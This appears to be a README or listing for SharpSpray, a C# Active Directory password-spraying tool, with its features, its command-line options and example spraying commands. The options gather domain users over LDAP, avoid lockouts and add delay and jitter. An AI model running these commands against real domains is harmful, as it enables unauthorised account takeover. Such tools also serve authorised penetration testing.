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SharpSpray : Active Directory Password Spraying Tool. Auto Fetches User List And Avoids Potential Lockouts

SharpSpray is a C# port of Domain Password Spray with enhanced and extra capabilities. This tool uses LDAP Protocol to communicate with the Domain active directory services.

Features

  • Can operate from inside and outside a domain context.
  • Exclude domain disabled accounts from the spraying.
  • Auto gathers domain users from the Active directory.
  • Avoid potential lockouts by excluding accounts within one attempt of locking out.
  • Avoid potential lockouts by auto-gathering domain lockout observation window settings.
  • Compatible with Domain Fine-Grained Password policies.
  • Custom LDAP filter for users, e.g. (description=admin)
  • Delay in seconds between each authentication attempt.
  • Jitter between each authentication attempt.
  • Support a single password or a list of passwords.
  • Single file Console Application.

Usage

Command Line Args

SharpSpray.exe –help
-v, –Verbose Show verbose messages.
-u (Optional) Username list file path. This will be
automatically fetched from the active directory if not specified.
-p A single password that will be used to perform the password spray.
-k, –pl (Optional) Password List file path.
-d (Optional) Specify a domain name.
-m Use this option if spraying from a host located outside the Domain context.
-q, –dc-ip Required when the option ‘m’ OutsideDomain is checked
-x Attempts to exclude disabled accounts
from the user list (Not supported with the option -m)
-z Exclude accounts within 1 attempt of
locking out (Not supported with the option -m)
-f Custom LDAP filter for users, e.g. “(description=admin)”
-o A file to output the results to.
-w Do not relay on domain lockout observation window settings and use this specific value. (Default 32 minute)
-s (Optional) Delay in seconds between each authentication attempt.
-j (Optional) Jitter in seconds.
–Force Force start without asking for confirmation.
–get-users-list Get the domain users list from the active directory.
–show-examples Get domain users list from the active directory.
–show-args Show command line args
–help Display
this help screen.

Usage Examples

SharpSpray.exe -v -x -z –pl password.txt
SharpSpray.exe -x -z -u users.txt –pl psswd.txt
SharpSpray.exe -x -z -u users.txt -p Passw0rd!
SharpSpray.exe -x -z -s 3 -j 1 -u users.txt -k psswd.txt -o sprayed.txt
SharpSpray.exe -w 32 -m -d DC-1.local –dc-ip 10.10.20.20 -u users.txt –pl psswd.txt
SharpSpray.exe -w 32 -s 3 -j 1 -m -d DC-1.local –dc-ip 10.10.20.20 -u users.txt –pl psswd.txt
SharpSpray.exe –get-users-list
SharpSpray.exe –get-users-list > users.txt
PS> .\SharpSpray.exe –get-users-list | Out-File -Encoding ascii users.txt

Fetching Only The Users List From The Active Directory

The following command will fetch domain users and prints the list to the console.

SharpSpray.exe -x -z –get-users-list
-x: Exclude disabled accounts from the user list.
-z: Exclude accounts within 1 attempt of locking out.

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